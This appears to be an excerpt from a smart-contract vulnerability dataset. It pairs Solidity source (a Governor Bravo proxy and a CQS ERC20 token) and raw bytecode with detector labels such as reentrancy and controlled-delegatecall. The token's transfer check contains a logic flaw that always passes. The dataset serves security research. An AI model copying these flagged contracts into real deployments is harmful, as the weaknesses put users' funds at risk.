565b600081359050612dcd81613cd1565b92915050565b600081519050612de281613cd1565b92915050565b600060208284031215612dfa57600080fd5b6000612e0884828501612d40565b91505092915050565b600060208284031215612e2357600080fd5b6000612e3184828501612d55565b91505092915050565b60008060408385031215612e4d57600080fd5b6000612e5b85828601612d40565b9250506020612e6c85828601612d40565b9150509250929050565b600080600060608486031215612e8b57600080fd5b6000612e9986828701612d40565b9350506020612eaa86828701612d40565b9250506040612ebb86828701612dbe565b9150509250925092565b60008060408385031215612ed857600080fd5b6000612ee685828601612d40565b9250506020612ef785828601612dbe565b9150509250929050565b600060208284031215612f1357600080fd5b600082013567ffffffffffffffff811115612f2d57600080fd5b612f3984828501612d6a565b91505092915050565b600060208284031215612f5457600080fd5b6000612f6284828501612d94565b91505092915050565b600060208284031215612f7d57600080fd5b6000612f8b84828501612da9565b91505092915050565b600060208284031215612fa657600080fd5b6000612fb484828501612dbe565b91505092915050565b600080600060608486031215612fd257600080fd5b6000612fe086828701612dd3565b9350506020612ff186828701612dd3565b925050604061300286828701612dd3565b9150509250925092565b60006130188383613024565b60208301905092915050565b61302d816137d2565b82525050565b61303c816137d2565b82525050565b600061304d82613678565b613057818561369b565b935061306283613668565b8060005b8381101561309357815161307a888261300c565b97506130858361368e565b925050600181019050613066565b5085935050505092915050565b6130a9816137e4565b82525050565b6130b881613827565b82525050565b60006130c982613683565b6130d381856136ac565b93506130e3818560208601613839565b6130ec81613973565b840191505092915050565b60006131046023836136ac565b915061310f82613984565b604082019050919050565b6000613127602a836136ac565b9150613132826139d3565b604082019050919050565b600061314a6022836136ac565b915061315582613a22565b604082019050919050565b600061316d601b836136ac565b915061317882613a71565b602082019050919050565b6000613190601b836136ac565b915061319b82613a9a565b602082019050919050565b60006131b3601d836136ac565b91506131be82613ac3565b602082019050919050565b60006131d66021836136ac565b91506131e182613aec565b604082019050919050565b60006131f96020836136ac565b915061320482613b3b565b602082019050919050565b600061321c6029836136ac565b915061322782613b64565b604082019050919050565b600061323f6025836136ac565b915061324a82613bb3565b604082019050919050565b60006132626024836136ac565b915061326d82613c02565b604082019050919050565b60006132856017836136ac565b915061329082613c51565b602082019050919050565b60006132a86011836136ac565b91506132b382613c7a565b602082019050919050565b6132c781613810565b82525050565b6132d68161381a565b82525050565b60006020820190506132f16000830184613033565b92915050565b600060408201905061330c6000830185613033565b6133196020830184613033565b9392505050565b60006040820190506133356000830185613033565b61334260208301846132be565b9392505050565b600060c08201905061335e6000830189613033565b61336b60208301886132be565b61337860408301876130af565b61338560608301866130af565b6133926080830185613033565b61339f60a08301846132be565b979650505050505050565b60006020820190506133bf60008301846130a0565b92915050565b600060208201905081810360008301526133df81846130be565b905092915050565b60006020820190508181036000830152613400816130f7565b9050919050565b600060208201905081810360008301526134208161311a565b9050919050565b600060208201905081810360008301526134408161313d565b9050919050565b6000602082019050818103600083015261346081613160565b9050919050565b6000602082019050818103600083015261348081613183565b9050919050565b600060208201905081810360008301526134a0816131a6565b9050919050565b600060208201905081810360008301526134c0816131c9565b9050919050565b600060208201905081810360008301526134e0816131ec565b9050919050565b600060208201905081810360008301526135008161320f565b9050919050565b6000602082019050818103600083015261352081613232565b9050919050565b6000602082019050818103600083015261354081613255565b9050919050565b6000602082019050818103600083015261356081613278565b9050919050565b600060208201905081810360008301526135808161329b565b9050919050565b600060208201905061359c60008301846132be565b92915050565b600060a0820190506135b760008301886132be565b6135c460208301876130af565b81810360408301526135d68186613042565b90506135e56060830185613033565b6135f260808301846132be565b9695505050505050565b600060208201905061361160008301846132cd565b92915050565b6000613621613632565b905061362d828261386c565b919050565b6000604051905090565b600067ffffffffffffffff82111561365757613656613944565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136c882613810565b91506136d383613810565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613708576137076138e6565b5b828201905092915050565b600061371e82613810565b915061372983613810565b92508261373957613738613915565b5b828204905092915050565b600061374f82613810565b915061375a83613810565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613793576137926138e6565b5b828202905092915050565b60006137a982613810565b91506137b483613810565b9250828210156137c7576137c66138e6565b5b828203905092915050565b60006137dd826137f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061383282613810565b9050919050565b60005b8381101561385757808201518184015260208101905061383c565b83811115613866576000848401525b50505050565b61387582613973565b810181811067ffffffffffffffff8211171561389457613893613944565b5b80604052505050565b60006138a882613810565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138db576138da6138e6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f7465616d4665652073686f756c6420626520696e2031202d2032350000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613cac816137d2565b8114613cb757600080fd5b50565b613cc3816137e4565b8114613cce57600080fd5b50565b613cda81613810565b8114613ce557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c34f1980e185710e07f5b2cd1d3bc8d35c4834e29a2c4012027f009dc387f9064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,438 |
0xdba24c1c9432ca0b9f8a51660687ebaddf912900
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
// Copyright 2020 Compound Labs, Inc.
contract GovernorBravoEvents {
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
/// @param voter The address which casted a vote
/// @param proposalId The proposal id which was voted on
/// @param support Support value for the vote. 0=against, 1=for, 2=abstain
/// @param votes Number of votes which were cast by the voter
/// @param reason The reason given for the vote by the voter
event VoteCast(address indexed voter, uint proposalId, uint8 support, uint votes, string reason);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
/// @notice An event emitted when the voting delay is set
event VotingDelaySet(uint oldVotingDelay, uint newVotingDelay);
/// @notice An event emitted when the voting period is set
event VotingPeriodSet(uint oldVotingPeriod, uint newVotingPeriod);
/// @notice Emitted when implementation is changed
event NewImplementation(address oldImplementation, address newImplementation);
/// @notice Emitted when proposal threshold is set
event ProposalThresholdSet(uint oldProposalThreshold, uint newProposalThreshold);
/// @notice Emitted when pendingAdmin is changed
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/// @notice Emitted when pendingAdmin is accepted, which means admin is updated
event NewAdmin(address oldAdmin, address newAdmin);
}
contract GovernorBravoDelegatorStorage {
/// @notice Administrator for this contract
address public admin;
/// @notice Pending administrator for this contract
address public pendingAdmin;
/// @notice Active brains of Governor
address public implementation;
}
/**
* @title Storage for Governor Bravo Delegate
* @notice For future upgrades, do not change GovernorBravoDelegateStorageV1. Create a new
* contract which implements GovernorBravoDelegateStorageV1 and following the naming convention
* GovernorBravoDelegateStorageVX.
*/
contract GovernorBravoDelegateStorageV1 is GovernorBravoDelegatorStorage {
/// @notice The delay before voting on a proposal may take place, once proposed, in blocks
uint public votingDelay;
/// @notice The duration of voting on a proposal, in blocks
uint public votingPeriod;
/// @notice The number of votes required in order for a voter to become a proposer
uint public proposalThreshold;
/// @notice Initial proposal id set at become
uint public initialProposalId;
/// @notice The total number of proposals
uint public proposalCount;
/// @notice The address of the MEOW Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the MEOW governance token
CompInterface public meow;
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Current number of votes for abstaining for this proposal
uint abstainVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal or abstains
uint8 support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface CompInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
interface GovernorAlpha {
/// @notice The total number of proposals
function proposalCount() external returns (uint);
}
contract GovernorBravoDelegator is GovernorBravoDelegatorStorage, GovernorBravoEvents {
constructor(
address timelock_,
address meow_,
address admin_,
address implementation_,
uint votingPeriod_,
uint votingDelay_,
uint proposalThreshold_) public {
// Admin set to msg.sender for initialization
admin = msg.sender;
delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,uint256,uint256,uint256)",
timelock_,
meow_,
votingPeriod_,
votingDelay_,
proposalThreshold_));
_setImplementation(implementation_);
admin = admin_;
}
/**
* @notice Called by the admin to update the implementation of the delegator
* @param implementation_ The address of the new implementation for delegation
*/
function _setImplementation(address implementation_) public {
require(msg.sender == admin, "GovernorBravoDelegator::_setImplementation: admin only");
require(implementation_ != address(0), "GovernorBravoDelegator::_setImplementation: invalid implementation address");
address oldImplementation = implementation;
implementation = implementation_;
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Internal method to delegate execution to another contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param callee The contract to delegatecall
* @param data The raw data to delegatecall
*/
function delegateTo(address callee, bytes memory data) internal {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
function () external payable {
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
|
0x60806040526004361061003f5760003560e01c806326782247146100c75780635c60da1b146100f2578063bb913f4114610107578063f851a44014610129575b60025460405160009173ffffffffffffffffffffffffffffffffffffffff169061006c9083903690610408565b600060405180830381855af49150503d80600081146100a7576040519150601f19603f3d011682016040523d82523d6000602084013e6100ac565b606091505b505090506040513d6000823e8180156100c3573d82f35b3d82fd5b3480156100d357600080fd5b506100dc61013e565b6040516100e99190610415565b60405180910390f35b3480156100fe57600080fd5b506100dc61015a565b34801561011357600080fd5b506101276101223660046102d0565b610176565b005b34801561013557600080fd5b506100dc6102a3565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1633146101d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101c790610455565b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff811661021d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101c790610445565b6002805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff000000000000000000000000000000000000000083161792839055604051918116927fd604de94d45953f9138079ec1b82d533cb2160c906d1076d1f7ed54befbca97a926102979285921690610423565b60405180910390a15050565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b80356102ca8161049d565b92915050565b6000602082840312156102e257600080fd5b60006102ee84846102bf565b949350505050565b6102ff81610473565b82525050565b60006103118385610465565b935061031e838584610491565b50500190565b6000610331604a8361046a565b7f476f7665726e6f72427261766f44656c656761746f723a3a5f736574496d706c81527f656d656e746174696f6e3a20696e76616c696420696d706c656d656e7461746960208201527f6f6e206164647265737300000000000000000000000000000000000000000000604082015260600192915050565b60006103b660368361046a565b7f476f7665726e6f72427261766f44656c656761746f723a3a5f736574496d706c81527f656d656e746174696f6e3a2061646d696e206f6e6c7900000000000000000000602082015260400192915050565b60006102ee828486610305565b602081016102ca82846102f6565b6040810161043182856102f6565b61043e60208301846102f6565b9392505050565b602080825281016102ca81610324565b602080825281016102ca816103a9565b919050565b90815260200190565b600073ffffffffffffffffffffffffffffffffffffffff82166102ca565b82818337506000910152565b6104a681610473565b81146104b157600080fd5b5056fea365627a7a7231582071d889a4c18db441f3eee00caadd80201daf210eaf51e82ed78d03d64bfddef36c6578706572696d656e74616cf564736f6c63430005110040
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 4,439 |
0x84f3d27680fd92b42aecd5ef0b69dd730d1b75d2
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract CQSToken is StandardBurnableToken {
// Constants
string public constant name = "CQS";
string public constant symbol = "CQS";
uint8 public constant decimals = 18;
address public owner;
string public website = "www.cqsexchange.io";
uint256 public constant INITIAL_SUPPLY = 2000000000 * (10 ** uint256(decimals));
uint256 public constant CROWDSALE_ALLOWANCE = 1600000000 * (10 ** uint256(decimals));
uint256 public constant ADMIN_ALLOWANCE = 400000000 * (10 ** uint256(decimals));
// Properties
//uint256 public totalSupply;
uint256 public crowdSaleAllowance; // the number of tokens available for crowdsales
uint256 public adminAllowance; // the number of tokens available for the administrator
address public crowdSaleAddr; // the address of a crowdsale currently selling this token
address public adminAddr; // the address of a crowdsale currently selling this token
bool public icoStart = false;
mapping(address => uint256) public tokensTransferred;
// Events
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// Modifiers
modifier validDestination(address _to) {
require(_to != address(0x0));
require(_to != address(this));
require(_to != owner);
//require(_to != address(adminAddr));
//require(_to != address(crowdSaleAddr));
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor(address _admin) public {
// the owner is a custodian of tokens that can
// give an allowance of tokens for crowdsales
// or to the admin, but cannot itself transfer
// tokens; hence, this requirement
require(msg.sender != _admin);
owner = msg.sender;
//totalSupply = INITIAL_SUPPLY;
totalSupply_ = INITIAL_SUPPLY;
crowdSaleAllowance = CROWDSALE_ALLOWANCE;
adminAllowance = ADMIN_ALLOWANCE;
// mint all tokens
balances[msg.sender] = totalSupply_.sub(adminAllowance);
emit Transfer(address(0x0), msg.sender, totalSupply_.sub(adminAllowance));
balances[_admin] = adminAllowance;
emit Transfer(address(0x0), _admin, adminAllowance);
adminAddr = _admin;
approve(adminAddr, adminAllowance);
}
/**
* @dev called by the owner to start the ICO
*/
function startICO() external onlyOwner {
icoStart = true;
}
/**
* @dev called by the owner to stop the ICO
*/
function stopICO() external onlyOwner {
icoStart = false;
}
function setCrowdsale(address _crowdSaleAddr, uint256 _amountForSale) external onlyOwner {
require(_amountForSale <= crowdSaleAllowance);
// if 0, then full available crowdsale supply is assumed
uint amount = (_amountForSale == 0) ? crowdSaleAllowance : _amountForSale;
// Clear allowance of old, and set allowance of new
approve(crowdSaleAddr, 0);
approve(_crowdSaleAddr, amount);
crowdSaleAddr = _crowdSaleAddr;
//icoStart = true;
}
function transfer(address _to, uint256 _value) public validDestination(_to) returns (bool) {
if(icoStart && (msg.sender != owner || msg.sender != adminAddr)){
require((tokensTransferred[msg.sender].add(_value)).mul(2)<=balances[msg.sender].add(tokensTransferred[msg.sender]));
tokensTransferred[msg.sender] = tokensTransferred[msg.sender].add(_value);
return super.transfer(_to, _value);
}else
return super.transfer(_to, _value);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function burn(uint256 _value) public {
require(msg.sender==owner || msg.sender==adminAddr);
_burn(msg.sender, _value);
}
function burnFromAdmin(uint256 _value) external onlyOwner {
_burn(adminAddr, _value);
}
function changeWebsite(string _website) external onlyOwner {website = _website;}
}
|
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610184578063095ea7b31461020e57806318160ddd1461024657806322ed63021461026d57806323b872dd146102935780632ff2e9dc146102bd578063313ce567146102d257806342966c68146102fd5780635c9d0fb114610315578063661884631461032a57806370a082311461034e57806379cc67901461036f5780637fa8c1581461039357806381830593146103a8578063827037db146103d95780638da5cb5b146103ee5780638eeb33ff1461040357806395d89b4114610184578063a9059cbb14610418578063b90291c31461043c578063beb0a4161461045c578063c8e569a814610471578063d14ac7c414610486578063d46a91601461049b578063d56de6ed146104bc578063d73dd623146104d1578063dd62ed3e146104f5578063f2fde38b1461051c578063fc53f9581461053d578063fd36c3f914610552575b600080fd5b34801561019057600080fd5b5061019961056a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d35781810151838201526020016101bb565b50505050905090810190601f1680156102005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021a57600080fd5b50610232600160a060020a03600435166024356105a1565b604080519115158252519081900360200190f35b34801561025257600080fd5b5061025b610608565b60408051918252519081900360200190f35b34801561027957600080fd5b50610291600160a060020a036004351660243561060f565b005b34801561029f57600080fd5b50610232600160a060020a03600435811690602435166044356106a0565b3480156102c957600080fd5b5061025b610817565b3480156102de57600080fd5b506102e7610827565b6040805160ff9092168252519081900360200190f35b34801561030957600080fd5b5061029160043561082c565b34801561032157600080fd5b5061025b610867565b34801561033657600080fd5b50610232600160a060020a0360043516602435610877565b34801561035a57600080fd5b5061025b600160a060020a0360043516610969565b34801561037b57600080fd5b50610291600160a060020a0360043516602435610984565b34801561039f57600080fd5b50610291610a1a565b3480156103b457600080fd5b506103bd610a68565b60408051600160a060020a039092168252519081900360200190f35b3480156103e557600080fd5b50610232610a77565b3480156103fa57600080fd5b506103bd610a98565b34801561040f57600080fd5b506103bd610aa7565b34801561042457600080fd5b50610232600160a060020a0360043516602435610ab6565b34801561044857600080fd5b506102916004803560248101910135610c01565b34801561046857600080fd5b50610199610c29565b34801561047d57600080fd5b50610291610cb7565b34801561049257600080fd5b5061025b610cee565b3480156104a757600080fd5b5061025b600160a060020a0360043516610cf4565b3480156104c857600080fd5b5061025b610d06565b3480156104dd57600080fd5b50610232600160a060020a0360043516602435610d0c565b34801561050157600080fd5b5061025b600160a060020a0360043581169060243516610da5565b34801561052857600080fd5b50610291600160a060020a0360043516610dd0565b34801561054957600080fd5b5061025b610e65565b34801561055e57600080fd5b50610291600435610e75565b60408051808201909152600381527f4351530000000000000000000000000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6001545b90565b600354600090600160a060020a0316331461062957600080fd5b60055482111561063857600080fd5b81156106445781610648565b6005545b60075490915061066290600160a060020a031660006105a1565b5061066d83826105a1565b50506007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03939093169290921790915550565b6000600160a060020a03831615156106b757600080fd5b600160a060020a0384166000908152602081905260409020548211156106dc57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561070c57600080fd5b600160a060020a038416600090815260208190526040902054610735908363ffffffff610ea216565b600160a060020a03808616600090815260208190526040808220939093559085168152205461076a908363ffffffff610eb416565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546107ac908363ffffffff610ea216565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b06765c793fa10079d000000081565b601281565b600354600160a060020a031633148061084f5750600854600160a060020a031633145b151561085a57600080fd5b6108643382610ec1565b50565b6b052b7d2dcc80cd2e4000000081565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156108cc57336000908152600260209081526040808320600160a060020a0388168452909152812055610901565b6108dc818463ffffffff610ea216565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3600191505b5092915050565b600160a060020a031660009081526020819052604090205490565b600160a060020a03821660009081526002602090815260408083203384529091529020548111156109b457600080fd5b600160a060020a03821660009081526002602090815260408083203384529091529020546109e8908263ffffffff610ea216565b600160a060020a0383166000908152600260209081526040808320338452909152902055610a168282610ec1565b5050565b600354600160a060020a03163314610a3157600080fd5b6008805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600854600160a060020a031681565b60085474010000000000000000000000000000000000000000900460ff1681565b600354600160a060020a031681565b60